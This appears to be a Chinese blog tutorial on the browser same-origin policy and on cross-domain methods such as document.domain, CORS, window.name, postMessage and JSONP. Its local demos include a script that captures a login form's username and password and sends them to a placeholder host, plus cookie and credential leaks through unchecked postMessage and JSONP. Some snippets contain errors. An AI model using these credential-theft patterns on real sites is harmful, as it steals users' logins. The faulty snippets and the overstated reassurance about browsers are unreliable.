同源策略:同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错。
举一个最简单的例子:
例如我现在在无意间(有可能是有意。。)点进去一个网站,例如xx影院,这个网站是携带木马病毒的,同时我在其他窗口也在浏览天猫商城,当我在天猫商城登陆支付宝的时候,xx影院携带的木马病毒就会跨页面盗取我的支付宝密码。这也就是为什么很多软件会推荐你下载他的专属app而不建议你在浏览器中使用该软件的原因。
以下特征被称之为同源:
- 同协议: http://www.abc.com与https://www.abc.com 不同源
- 同端口 如:http://abc.me 与 http://abc.me:8080 不同源
- 同域名 如:http://aaa.me 与 http://bbb.me 不同源
同源策略有两种限制,第一种是限制了不同源之间的请求交互,例如在使用XMLHttpRequest 或 fetch 函数时则会受到同源策略的约束。 第二个限制是浏览器中不同源的框架之间是不能进行js的交互操作的。比如通过iframe和window.open产生的不同源的窗口。这两种限制都有不同的解决方案,下面会讲解不同的解决方案和可能产生的安全问题。
有一些情况是不受同源策略的限制的:
1、页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
2、跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的<script src="..."></script>,<img>,<link>,<iframe>等。
跨域:
- 什么是跨域
受前面所讲的浏览器同源策略的影响,不是同源的脚本不能操作其他源下面的对象。想要操作另一个源下的对象是就需要跨域 - 跨域的实现形式
• 降域 document.domain
同源策略认为域和子域属于不同的域,如:
child1.a.com 与 a.com,
child1.a.com 与 child2.a.com,
xxx.child1.a.com 与 child1.a.com
两两不同源,可以通过设置 document.damain='a.com',浏览器就会认为它们都是同一个源。想要实现以上任意两个页面之间的通信,两个页面必须都设置documen.damain='a.com'。
此方式的特点:
1. 只能在父域名与子域名之间使用,且将 xxx.child1.a.com域名设置为a.com后,不能再设置成child1.a.com。
2. 存在安全性问题,当一个站点被攻击后,另一个站点会引起安全漏洞。
3. 这种方法只适用于 Cookie 和 iframe 窗口。 - CORS
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。
它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
刚才的例子中,在b.com里面添加响应头声明允许a.com的访问,代码:
Access-Control-Allow-Origin: http://a.com
然后a.com就可以用ajax获取b.com里的数据了。 - 模拟同源策略:
假设这里有一个aaa.hsy.com
<body> <div style="margin-left: 100px"> <form method="POST" id='form'> 用户名: <br/> <input id=username type="text" name="username"> <br/> 密码: <br/> <input id=password type="password" name="username"> <br/> <input type="submit" value="提交"> </div> </body> <!-- 下面设置为了模拟假设没有同源策略 --> <script> document.domain="hsy.com" </script>
同时存在一个bbb.hsy.com
<script> document.domain = "hsy.com" </script> <iframe src="//aaa.hsy.com/login.php" id="iframe" width=100% height=100% frameborder=0> </iframe> <script> var ifrw = document.getElementById('iframe').contentWindow; document.getElementById('iframe').onload = function(){ ifrw.document.getElementById('form').onsubmit = function(){ var username = ifrw.document.getElementById('username').value; var password = ifrw.document.getElementById('password').value; fetch('//xxx.xxx.xxx.xxx/?username='+username+'&'+'password='+password); } } </script>
在a页面中登陆的账号密码在b中也能被看到。
- 跨域传输方式
现在这里有两个php页面
1.php中插入代码
<html> <body> <iframe id="iframe" src="2.php"></iframe> </body> </html>
2.php中插入代码
<html> <h1>hsy</h1> </html>
效果:
介绍几种跨域方式:
document.domain
1.php
<html> <body> <iframe id="iframe" src="2.php"></iframe> <script>document.domain = http://localhost:63342/cors</script> </body> </html>
2.php
<html> <h1>hsy</h1> <script>document.domain = http://localhost:63342/cors</script> </html>
在控制台中插入iframe语句。
运行后的效果:
在1.php中成功的执行了2.php的弹窗,实现了跨域的效果。
-
document.domain 只可以被设置为他的当前域或其当前域的父域,比如aaa.hsy.me可以设置document.domain为aaa.hsy.me 或 hsy.me,但是不能设置为aaa.hsy.com或者bbb.aaa.hsy.me
-
document.domain 的赋值操作会导致端口号被重写为NULL,所以 aaa.hsy.me 仅设置document.domain为hsy.me 并不能与hsy.me进行通信,hsy.me的页面也必须赋值一次使双方端口相同从而通过浏览器的同源检测。这么做的目的是,如果子域有XSS,那么他的父域都存在安全隐患
-
设置document.domain并不会影响XMLHttpRequest 或 fetch的同源策略。
通过修改window.domain元素:
-
window对象有个name属性,该属性有个特征:即在一个窗口(window)的生命周期内,窗口载入的所有的页面都是共享一个window.name的,每个页面对window.name都有读写的权限,window.name是持久存在一个窗口载入过的所有页面中的,并不会因新页面的载入而进行重置。
举个例子,页面有个iframe,iframe中的页面为A,无论iframe中的页面A地址怎么更改,这个iframe对象都是共享同一个window.name,A页面设置window.name,再将iframe的src设置为B页面,B页面中的JS脚本可以读取到之前A页面设置的window.name,简而言之,window.name几乎不受同源策略的影响
在同一根目录下建立1.php,2.php,3.php
1.php
<html> <body> <iframe id="iframe" src="http://localhost:63342/cors/2.php"></iframe> </body> </html>
2.php
<html> <h1>hsy</h1> <script> window.name = "flag{this_is_flag}"; </script> </html>
3.php
<script> alert(window.name); </script>
执行1.php 在控制台中输入如下代码。
运行结果。
利用window.name依然可以实现跨域的请求。
原理:首先,我们访问iframe中的name属性,浏览器返回了跨域访问拒绝。但是我们通过设置iframe的src为3.php (3.php可以不与1.php同域),在iframe中的所有页面共享window.name。然后3.php
中的脚本访问到不同源的页面2.php并获取到了window.name
PostMessage
window.postMessage() 方法可以安全地实现跨源通信,被调用时,会在所有页面脚本执行完毕之后向目标窗口派发一个 MessageEvent
消息。 该函数的第一个参数为发送的消息,第二个参数是匹配发送给的窗口的url地址(可以使用*
,代表无限制通配),若目标url和此参数不匹配,消息就不会被发送。被接受窗口则可以通过监听message事件来获取接受信息
例:子窗口向父窗口传递数据
1.php
<html> <body> <iframe id="iframe" src="http://localhost:63342/cors/2.php"></iframe> <script> window.addEventListener('message',function (e) { alert(e.data); }) </script> </body> </html>
2.php
<html> <script> parent.postMessage('I lov3 hsy','*'); </script> </html>
运行1.php
可以看到利用post.Message将2.php中的代码放在了1.php中执行。
如果事件监听没有判断事件的来源,则会有很大的安全隐患,以下面为例
1.php
<?php setcookie("flag","flag(i love hsy)"); ?> <iframe id="iframe" src="http://localhost:63342/cors/2.php"></iframe> <h1 id="name"></h1> <script> window.addEventListener('message',function (e) { document.getElementById('name').innerHTML=e.data; }) </script>
3.php
<iframe id="iframe" src="http://localhost:63342/cors/1.php"></iframe>
现在来执行3.php
并且在控制台中输入
运行:
弹出了我设定的cookie内容。当然cookie的内容不会这么简单的,正常的cookie就是你平时上网浏览的一些信息,还有登陆的一些账号密码,cookie在人们上网的时候就相当于身份证的作用,里面存储了大量的个人信息。
JSONP
上面讲过<script>
标签可以跨域加载资源,但是返回内容如果不符合JS语法同样无法获取数据,JSONP则是通过返回符合JS语法的数据内容使资源能够跨域加载
1.php
<script> function echoData(data) { console.log("DATA:",data); } </script> <script src="http://localhost:63342/cors/2.php?func=echoData"></script>
2.php
<?php header('Content-type:application/javascript'); $func = $_REQUEST['func'] ?? "func"; $data = '["aaa","bbb","ccc","ddd"]'; echo $func . "(" . $data . ")"; ?>
运行1.php
即1.php
页面先设定好输出数据的函数,通过<script>
标签请求2.php
并带有函数名参数,2.php
把数据当函数参数传入并根据函数名输出对应函数调用语句,1.php
获得响应后自动调用函数即可获取数据
本来一个极其巧妙的数据传输方式,但如果配置有问题,则可能产生安全隐患,假如一个没有任何验证的JSONP接口,用来传输用户的敏感数据
1.php
<script> function echoData(data) { alert("username: "+data.username+ "\n" + "password: "+data.password); } </script> <script src="http://localhost:63342/cors/2.php?func=echoData"></script>
2.php
<?php header('Content-type:application/javascript'); $func = $_REQUEST['func'] ?? "func"; $data = "{'username':'hsy','password':'19900821'}"; echo $func . "(" . $data . ")"; ?>
运行1php后会看到在2.php中设置好的用户名即密码。
主要的跨域原理就是上述的这些,当然现在平时上网的时候并不需要担心这个问题。因为大多数浏览器早已经规避了由同源而可能引发的安全问题。